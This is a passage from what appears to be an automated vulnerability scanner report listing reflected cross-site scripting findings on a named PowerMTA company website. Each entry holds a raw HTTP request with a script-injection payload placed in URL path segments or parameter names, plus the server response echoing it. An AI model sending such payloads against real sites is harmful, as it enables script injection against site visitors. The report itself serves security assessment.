<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themesf584d\"><script>alert(1)</script>87dfa82034a/powermta1/js/coda-slider.1.1.1.pack.js" />
...[SNIP]...

2.115. http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4814"><script>alert(1)</script>51cc203be39 was submitted in the REST URL parameter 3. This input was echoed as f4814\"><script>alert(1)</script>51cc203be39 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1f4814"><script>alert(1)</script>51cc203be39/js/coda-slider.1.1.1.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=87a008b79fd2191ac730b69ff5b6f63a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:22 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:23 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24878

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1f4814\"><script>alert(1)</script>51cc203be39/js/coda-slider.1.1.1.pack.js" />
...[SNIP]...

2.116. http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fdf30"><script>alert(1)</script>ed438270590 was submitted in the REST URL parameter 4. This input was echoed as fdf30\"><script>alert(1)</script>ed438270590 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/jsfdf30"><script>alert(1)</script>ed438270590/coda-slider.1.1.1.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=87a008b79fd2191ac730b69ff5b6f63a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:24 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:24 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24878

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/jsfdf30\"><script>alert(1)</script>ed438270590/coda-slider.1.1.1.pack.js" />
...[SNIP]...

2.117. http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b822e"><script>alert(1)</script>d04d52ac82d was submitted in the REST URL parameter 5. This input was echoed as b822e\"><script>alert(1)</script>d04d52ac82d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.jsb822e"><script>alert(1)</script>d04d52ac82d HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=87a008b79fd2191ac730b69ff5b6f63a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:34 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24878

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.jsb822e\"><script>alert(1)</script>d04d52ac82d" />
...[SNIP]...

2.118. http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81d9c"><script>alert(1)</script>1924ea96c5d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 81d9c\"><script>alert(1)</script>1924ea96c5d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js?81d9c"><script>alert(1)</script>1924ea96c5d=1 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=87a008b79fd2191ac730b69ff5b6f63a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:57 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:58 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24881

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js?81d9c\"><script>alert(1)</script>1924ea96c5d=1" />
...[SNIP]...

2.119. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4082c"><script>alert(1)</script>1de928dbc8b was submitted in the REST URL parameter 1. This input was echoed as 4082c\"><script>alert(1)</script>1de928dbc8b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content4082c"><script>alert(1)</script>1de928dbc8b/themes/powermta1/js/jquery-1.2.1.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:53 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:54 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24873

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content4082c\"><script>alert(1)</script>1de928dbc8b/themes/powermta1/js/jquery-1.2.1.pack.js" />
...[SNIP]...

2.120. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4db75"><script>alert(1)</script>1a34ec9ff7d was submitted in the REST URL parameter 2. This input was echoed as 4db75\"><script>alert(1)</script>1a34ec9ff7d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes4db75"><script>alert(1)</script>1a34ec9ff7d/powermta1/js/jquery-1.2.1.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:04 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:04 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24873

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes4db75\"><script>alert(1)</script>1a34ec9ff7d/powermta1/js/jquery-1.2.1.pack.js" />
...[SNIP]...

2.121. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9eb0"><script>alert(1)</script>72383f08ed2 was submitted in the REST URL parameter 3. This input was echoed as d9eb0\"><script>alert(1)</script>72383f08ed2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1d9eb0"><script>alert(1)</script>72383f08ed2/js/jquery-1.2.1.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:47 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:48 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24873

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1d9eb0\"><script>alert(1)</script>72383f08ed2/js/jquery-1.2.1.pack.js" />
...[SNIP]...

2.122. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8a77"><script>alert(1)</script>0383053a194 was submitted in the REST URL parameter 4. This input was echoed as c8a77\"><script>alert(1)</script>0383053a194 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/jsc8a77"><script>alert(1)</script>0383053a194/jquery-1.2.1.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:51 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:52 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24873

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/jsc8a77\"><script>alert(1)</script>0383053a194/jquery-1.2.1.pack.js" />
...[SNIP]...

2.123. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5cd86"><script>alert(1)</script>7f0c7eb1413 was submitted in the REST URL parameter 5. This input was echoed as 5cd86\"><script>alert(1)</script>7f0c7eb1413 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/js/jquery-1.2.1.pack.js5cd86"><script>alert(1)</script>7f0c7eb1413 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:39:14 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:39:14 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24873

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js5cd86\"><script>alert(1)</script>7f0c7eb1413" />
...[SNIP]...

2.124. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65264"><script>alert(1)</script>a412310c547 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 65264\"><script>alert(1)</script>a412310c547 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/js/jquery-1.2.1.pack.js?65264"><script>alert(1)</script>a412310c547=1 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:43 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:43 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24876

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js?65264\"><script>alert(1)</script>a412310c547=1" />
...[SNIP]...

2.125. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39310"><script>alert(1)</script>914a8e39803 was submitted in the REST URL parameter 1. This input was echoed as 39310\"><script>alert(1)</script>914a8e39803 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content39310"><script>alert(1)</script>914a8e39803/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:01 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:01 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24892

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content39310\"><script>alert(1)</script>914a8e39803/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js" />
...[SNIP]...

2.126. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e901"><script>alert(1)</script>1dae5d73edf was submitted in the REST URL parameter 2. This input was echoed as 7e901\"><script>alert(1)</script>1dae5d73edf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes7e901"><script>alert(1)</script>1dae5d73edf/powermta1/js/jquery-easing-compatibility.1.2.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:48 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:48 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24892

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes7e901\"><script>alert(1)</script>1dae5d73edf/powermta1/js/jquery-easing-compatibility.1.2.pack.js" />
...[SNIP]...

2.127. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79b85"><script>alert(1)</script>c97a251316 was submitted in the REST URL parameter 3. This input was echoed as 79b85\"><script>alert(1)</script>c97a251316 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta179b85"><script>alert(1)</script>c97a251316/js/jquery-easing-compatibility.1.2.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:55 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:56 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24891

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
